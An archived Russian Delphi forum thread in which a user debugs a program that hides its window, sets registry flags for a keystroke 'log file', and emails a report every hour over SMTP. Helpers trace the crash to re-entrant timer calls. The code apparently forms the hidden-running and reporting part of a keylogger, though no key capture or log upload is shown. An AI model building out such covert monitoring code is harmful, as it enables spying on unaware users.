Текущий архив: 2002.08.29;
Скачать: CL | DM;
ВнизГлюки с отправкой письма, помогите, плиз. Найти похожие ветки
← →
BlackSun (2002-06-21 05:41) [0]Отправляю письмо с помощью TNMSmtp. Если создать пустой проект и там на кнопку приделать код отправки, то идет соединение с сервером и отправляется.
Но если я это делаю из моего проекта, то прога вылетает с ошибкой, и даже с сервером не может соединиться. Программа может
не сильно оптимизирована, пока не до этого... вот она :
unit prog;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Psock, NMsmtp, ExtCtrls,registry;
type
TForm1 = class(TForm)
Timer1: TTimer;
TimeOfKey: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure TimeOfKeyTimer(Sender: TObject);
private
procedure ApplicationMinimize(Sender : TObject);
procedure ApplicationRestore(Sender : TObject);
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
dir:string;
min:integer;
implementation
{$R *.DFM}
procedure TForm1.ApplicationMinimize(Sender : TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);
end;
procedure TForm1.ApplicationRestore(Sender : TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);
end;
Вот этот кусочек...
procedure Sendem;
var Mysmtp:TNMsmtp;
begin
Mysmtp:=TNMsmtp.Create(nil);
Mysmtp.Host:="smtp.inbox.ru"; {IP почтового сервера}
Mysmtp.Port:=25;
Mysmtp.Connect;
with Mysmtp do begin
Charset:="windows-1251";
PostMessage.FromAddress:="my@mail.ru"; {от кого}
PostMessage.ToAddress.Text:="my@inbox.ru"; {для кого}
PostMessage.Body.Text:="Дата отправки: "+DateToStr(Date)+#10#13+"Время отправки:"+TimeToStr(Time);
SendMail;
end;
if Mysmtp.Connected then Mysmtp.Disconnect; Mysmtp.Destroy;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
reg : TRegIniFile;
skey:string;
b:boolean;
begin
inc(min);
if min>60 then{по прошествии часа}
begin
reg := TRegIniFile.Create( "" );
reg.RootKey := HKEY_LOCAL_MACHINE;
skey:="Can";{запрещаем запись в лог-файл}
reg.writestring("Software\Keys",skey,"No");
reg.free;
Sendem;
reg := TRegIniFile.Create( "" );
reg.RootKey := HKEY_LOCAL_MACHINE;
skey:="Can";{разрешаем запись}
reg.writestring("Software\Keys",skey,"Yes");
reg.free;
min:=0;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
reg : TRegIniFile;
tim:longint;
hkprcKeyboard: TFNHookProc;
s,skey:string;
begin
min:=0;
reg := TRegIniFile.Create( "" );
reg.RootKey := HKEY_LOCAL_MACHINE;
skey:="Can";{можем писать лог-файл}
reg.writestring("Software\Keys",skey,"Yes");
skey:="Time";
tim:=0;
reg.writeinteger("Software\Keys",skey,tim);{после нажатия клавиши прошло 0 сек.}
TimeOfKey.Enabled:=true;
{=====================================}
skey:="Directory";
reg.openkey("Software\Keys",false);
if not reg.valueexists(skey) then
begin
reg.closekey;
dir:=getcurrentdir;
if dir[length(dir)]="\" then delete(dir,length(dir),1);
reg.writestring("Software\Keys",skey,dir);{пишем директорию запуска}
end
else
begin
reg.closekey;
dir:=reg.readstring("Software\Keys",skey,s);{иначе читаем ее}
end;
dir:=dir+"\";
{=====================================}
reg.free;
{=====================================}
{IsNt;}
ShowWindow(Application.Handle, SW_HIDE);
Application.OnMinimize := ApplicationMinimize;
Application.OnRestore := ApplicationRestore;
end;
procedure TForm1.TimeOfKeyTimer(Sender: TObject);
var i,tim:dword;
reg : TRegIniFile;
skey:string;
begin
reg := TRegIniFile.Create( "" );
reg.RootKey := HKEY_LOCAL_MACHINE;
skey:="Time";
tim:=reg.readinteger("Software\Keys",skey,i);
inc(tim);{увеличили счетчик секунд}
reg.writeinteger("Software\Keys",skey,tim);
reg.free;
end;
end.
← →
Fenix (2002-06-21 08:39) [1]А какая ошибка?
← →
Ocean (2002-06-21 09:29) [2]Мне кажется, ты забыл указать NMSMTP.UserID. Без этого Connect даст afuthorization fail.
← →
BlackSun (2002-06-21 09:44) [3]Если пускать не из под Дельфей, то прога просто через некоторое время исчезает из процессов, т.е. сама выгружается непонятно почему. Ещзе такой факт, когда ее пускаешь и смотришь, сколько она пямяти забирает, то оказывается, что каждую секунду она берет себе куски памяти и когда доходит до 4 метров, то она вылетает с ошибкой, если убрать эту строчку NMSmtp.Connect, то все нормально. И память постоянная держится.
Ну а насчет NMSmtp.UserID. Так ведь в новом проекте все нормально работает...
← →
BlackSun (2002-06-21 11:15) [4]Все, разобрался! Теперь понятна утечка памяти. Все дело в таймере, я же не блокировал его при первом вызове, и в результате, во время тестирования проги я сделал, что он вызывается очень бытсро, в результате за момент времени вызывалось много процедур таймера, еще один не выполнялся, как вызывался другой. Вот в чем глюк был. Достаточно было запретить таймер, пока выполняется соединение, а потом снова разрешит...
Страницы: 1 вся ветка
Текущий архив: 2002.08.29;
Скачать: CL | DM;
Память: 0.46 MB
Время: 0.006 c